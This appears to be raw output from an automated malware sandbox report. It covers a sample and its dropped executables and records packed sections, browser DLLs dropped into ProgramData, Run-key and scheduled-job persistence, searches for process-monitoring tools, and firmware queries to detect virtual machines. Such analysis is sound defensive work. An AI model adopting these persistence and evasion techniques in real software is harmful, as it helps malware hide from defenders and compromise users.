Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A

Source: file.exe	Static PE information: section name: entropy: 7.9801735874847255
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: entropy: 7.799691627355849
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: entropy: 7.981605222870138
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: tsfqqygy entropy: 7.953852886214849
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: xisdcata entropy: 7.953663128653993
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.981605222870138
Source: skotes.exe.3.dr	Static PE information: section name: tsfqqygy entropy: 7.953852886214849
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.9801735874847255
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: entropy: 7.9801735874847255
Source: random[1].exe0.10.dr	Static PE information: section name: xisdcata entropy: 7.953663128653993
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: entropy: 7.981605222870138
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: tsfqqygy entropy: 7.953852886214849
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: xisdcata entropy: 7.953663128653993
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: entropy: 7.799691627355849

Drops PE files

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File created: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File created: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File created: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Jump to dropped file

Drops PE files to the application program directory (C:\ProgramData)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ffb915ad7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cfbb3a6fb.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Creates job files (autostart)

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ffb915ad7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ffb915ad7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cfbb3a6fb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cfbb3a6fb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	System information queried: FirmwareTableInformation

